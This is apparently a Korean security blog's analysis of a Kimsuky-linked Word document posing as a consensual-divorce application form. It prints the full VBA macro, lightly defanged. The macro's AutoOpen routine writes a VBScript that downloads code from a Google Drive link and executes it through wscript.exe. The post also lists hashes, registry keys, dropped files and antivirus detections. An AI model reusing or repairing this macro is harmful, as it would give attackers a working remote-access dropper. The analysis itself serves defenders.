꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima), 블랙반시(Black Banshee) 등으로 불리고 있으며 최근에는 협의 이혼 의사 확인 신청서이라는 이름으로 악성코드를 유포하고 있습니다. 즉 일반인들로 대상을 넓히는 것을 개인적으로 판단하고 있습니다. 일단 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명:협의 이혼 의사 확인 신청서.doc
사이즈:61.0 KB
CRC32:5de9e5f7
MD5:e0cf0881de0fe35732bb02c1f4df02a3
SHA-1:3978abfd510cafbda865b708d6896560fede9a32
SHA-256:e8475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69
SHA-512:21c90cf1850a8882f1dda5991ddd33d9bf66140aaf96d133755e7eb0967f5e8c686a6a7b0cbd4cb9532d74734a1a4b113b99468c471d22d2eb845d5981f0809b

협의 이혼 의사 확인 신청서 실행 화면
협의 이혼 의사 확인 신청서 실행 화면

QuasarRAT이 매크로가 포함된 워드 파일 형태이며 QuasarRAT은 공격자로 하여금 원격 접근이 가능하도록 허용하는 악성코드로서 사용자 계정 및 사용자 환경 정보 수집이 가능하게 하며 원격 코드실행 및 파일 업로드,다운로드 등 추가 악성행위를 하게 합니다.
일단 기본 워드 악성코드처럼 매크로를 사용하는 것이 특징입니다. 먼저 해당 악성코드를 실행하면 보안 경고
매크로를 사용할 수 없도록 설정했습니다. 콘텐츠 사용

협의 이혼 의사 확인 신청서 메인 화면
협의 이혼 의사 확인 신청서 메인 화면

이라는 부분이 보일 것입니다. 여기서 해당 매크로를 실행하기 위해서 실행을 하면 VBS 스크립트가 실행됩니다.
내용은 다음과 같습니다.

[서식 제2-2호]
협의이혼의사확인신청서
당사자 부 (주민등록번호:          -           )
등록기준지:
주소:                                       
전화번호(휴대전화/집전화):              
처(주민등록번호:          -           )
등록기준지:
주소:           
전화번호(휴대전화/집전화):                        
신청의 취지
위 당사자 사이에는 진의에 따라 서로 이혼하기로 합의하였다.
위와 같이 이혼의사가 확인되었다.
라는 확인을 구합니다.
첨부서류
1.남편의 혼인관계증명서와 가족관계증명서(상세) 각 1통.
처의 혼인관계증명서와 가족관계증명서(상세) 각 1통. 
2.주민등록표등본(주소지 관할법원에 신청하는 경우) 1통.
3.진술요지서(재외공관에 접수한 경우) 1통.  끝.

보기에는 협의이혼을 하기 위한 신청서 같지만, 매크로가 동작해서 사용자 컴퓨터를 감염시키는 방법을 사용하고 있습니다.
그리고 매크로 내용은 다음과 같습니다.

협의 이혼 의사 확인 신청서 매크로 메인 화면
협의 이혼 의사 확인 신청서 매크로 메인 화면

Sub Weed(ns, p)
    Application.ActiveWindow.View.Type = (w)dPrintView
    Set wnd = Acti(v)eDocument
    wnd.Unprotect (p)
    With wnd.Range.In(l)ineShapes(1)
        .Dele(t)e
    End Wi(t)h
End S(u)b

Sub ResC(o)ntent(pth, cnt)
    Documen(t0s.Add
    With Activ(e)Document
        .Range.Te(x)t = cnt
        .SaveAs2 Fil(e)Name:(=)pth, FileFormat:=wdFormatText
        .Close
    End With
End Sub

Sub Present()
    On Error Resume Next
    For Mode = 10 To 0 Step -1
        ActiveWindow(.)View.SeekView = Mode
        With Selection
            .WholeStory
            .Font.Hidden (=) False
            .Collapse
        End W(i)th
    Next
End Sub

Sub AutoOpen()
    On Error Res(u0me Next
    sn = "utf"
    Set wm = GetObj(e0ct("winmgmts:win32_process")
    pw = "utf(8)utf8"
    Weed sn, (p)w
    Presen(t)
    Set wnd = Ac(t)iveDocument
    wnd.Save
    cnt = "On Error Re(s)ume Next:Set mx = CreateObject(""MSXML2.ServerXMLHTTP""):mx.open ""GET"", ""https://drive.google(.)com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t"", False:mx.Send:Execute(mx.responseText)"
    pth = "C:\Users\" & Application.UserName (&) "\AppData(\)Roaming\Microsoft\Templates\version(.)ini"
    ResContent pth, c(n)t
    wm.Create "wscript(.)exe //e:vbscript (//)b " & pth
End Sub

로 돼 있으며 기본적으로 그냥 Sub AutoOpen() 부분부터 보면 됩니다.
다음과 같이 악성코드는 동작합니다.
sn 변수에 "utf" 문자열을 대입
wm 변수를 선언 GetObject 함수를 이용하여 현재 실행 중인 프로세스 정보를 가져옴
pw 변수에 "utf8utf8" 문자열을 대입
Weed 함수에 sn과 pw를 전달하여 실행
Present 함수를 실행
wnd 변수에 현재 열린 문서를 대입
wnd를 저장
cnt 변수에 문자열 값을 대입 해당 문자열은 MSXML2.ServerXMLHTTP 객체를 생성하고, GET 방식으로 인터넷에 요청을 보내고, 그 결과를 실행하는 내용을 포함
pth 변수에 "C:\Users\사용자명\AppData\Roaming\Microsoft\Templates\version.ini" 문자열 값을 대입 
ResContent 함수에 pth와 cnt를 전달하여 실행
wm.Create 함수를 이용하여 "wscript.exe" 프로세스를 생성 해당 프로세스에 인자로 pth 파일을 전달하여 실행
cnt 변수에 저장된 문자열 부분에서 인터넷 연결을 합니다.

협의 이혼 의사 확인 신청서 악성코드 VBA 위치
협의 이혼 의사 확인 신청서 악성코드 VBA 위치

쉽게 이야기하면 다음과 같이 실행이 됩니다.

wscript.exe //e:vbscript //b C:\Users\admin\AppData\Roaming\Microsoft\Templates\version.ini

version.ini 파일은 실행 후 작업 스케줄러 등록을 통하여 사용자 PC에서의 연속성을 확보하고 나서 runps.vbs는 실행 후 conf.ps1을 실행해서 실행된 conf.ps1 파일은 공격자가 지정해 놓은 C2에 접속하여 추가로 악성코드 다운로드 합니다.
즉 매크로를 보면 구글 드라이브를 이용하는 것을 확인할 수가 있었습니다.
해당 VBS 스크립트는 워드를 분해해 보면 다음과 같이 잘 보관이 돼 있는 것을 확인할 수가 있습니다.
C:\Users\????\????\협의 이혼 의사 확인 신청서\word
그리고 여기서 만약 에러가 발생하면 다음과 같은 화면이 나오는 것을 확인할 수가 있습니다.
On Error Resume Next:Set mx = CreateObject("MSXML2.ServerXMLHTTP"):mx.open "GET", " https://drive.google(.)com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t ", False:mx.Send:Execute(mx(.)responseText)
즉 On Error Resume Next는 오류 발생 시 다음 코드를 계속 실행하도록 지정하는 코드 이로 말미암아서 프로그램이 중단되지 않고 계속 실행될 수 있도록 역할을 하며
MSXML2.ServerXMLHTTP 개체를 만들어 변수 mx에 할당해서 개체는 인터넷에서 데이터를 가져오는 데 사용
그리고 mx 개체를 사용하여 GET 요청을 보내고 요청하는 URL의 맨 끝에 confirm=t 를 추가
요청에 대한 응답을 받아들이고 해당 응답을 텍스트 형식으로 반환
반환된 텍스트를 실행하여 그 내용을 실행 해당 부분이 코드의 주요 부분이며, 실행합니다.

협의 이혼 의사 확인 신청서 악성코드 오류 시 지정
협의 이혼 의사 확인 신청서 악성코드 오류 시 지정

IP 트래픽

239.255.255(.)250:1900(UDP)

그리고 레지스터리에서 사용되는 부분은 다음과 같습니다.

HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\DocumentRecoveryB8F312B8F312
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItems3%9
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItems3}:
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItemsb#9
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\StartupItemsk?;
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109B10090400000000000F01FEC\UsageWORDHelpFilesIntl
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00002109F10090400000000000F01FEC\UsageSpellingAndGrammarFiles

이며 wscript.exe는 142.250.181(.)238:443 즉 구글 드라이버에서 어떤 파일을 다운로드 합니다.
다운로드 파일은 다음과 같습니다.

C:\Documents and Settings\Administrator\Application Data\Microsoft\Templates\Normal(.)dotm
C:\Documents and Settings\Administrator\Local Settings\Temp\e0cf0881de0fe35732bb02c1f4df02a3(.)docm

2023-03-16 14:36:55 UTC 기준 VirusTotal(바이러스토탈)에서 탐지하는 보안 업체들은 다음과 같습니다.
Acronis (Static ML):Suspicious
AhnLab-V3:Downloader/DOC.Generic
ALYac:Trojan.Downloader.DOC.Gen
Arcabit:HEUR.VBA.CG.2
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
Avira (no cloud):W97M/Hancitor.gnkat
BitDefender:Trojan.GenericKD.65905592
Cynet:Malicious (score: 99)
Elastic:Malicious (high Confidence)
Emsisoft:Trojan.GenericKD.65905592 (B)
eScan:Trojan.GenericKD.65905592
ESET-NOD32:VBA/TrojanDownloader.Agent.YWB
GData:Trojan.GenericKD.65905592
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.MSWord.Generic.4!c
MAX:Malware (ai Score=85)
McAfee:RDN/Real Protect-LS
McAfee-GW-Edition:BehavesLike.Downloader.kc
Rising:Trojan.CodeLoader/VBA!1.DFBF (CLASSIC)
SentinelOne (Static ML):Static AI - Malicious OPENXML
Symantec:W97M.Downloader
TACHYON:Suspicious/WOX.XSR.Gen
Tencent:Office.Trojan.Sagent.Usmw
Trellix (FireEye):Trojan.GenericKD.65905592
TrendMicro:TROJ_FRS.0NA103CG23
TrendMicro-HouseCall:TROJ_FRS.0NA103CG23
VIPRE:Trojan.GenericKD.65905592
VirIT:Office.VBA_Macro_Heur
ViRobot:W97M.S.Downloader.62545
ZoneAlarm by Check Point:HEUR:Trojan.MSOffice.SAgent.gen
스모크 스크린(Campaign Smoke Screen) 일종으로 생각되면 기본적으로 사견(私見)으로 북한정찰총국의 지원을 받는 공격 집단의 공격 중 하나가 아닐까 생각이 됩니다.
기존의 대북 관련 분들을 대상으로 하던 것이 일반인으로 대상으로 확대되는 것을 생각되면 그리고 제일 중요한 것을 이런 악성코드는 기본적으로 지인이든 모르는 사람이든 간에 파일은 함부로 실행을 하는 것은 주의해야 하면 특히 매크로 실행을 해달라고 하면 바로 의심을 해야 하면 기본적으로 윈도우 디펜더 이든 안랩 V3이든 간에 백신 프로그램 설치해서 실시간 감시, 실시간 업데이트 통해서 해당 악성코드들은 차단할 수가 있을 것입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band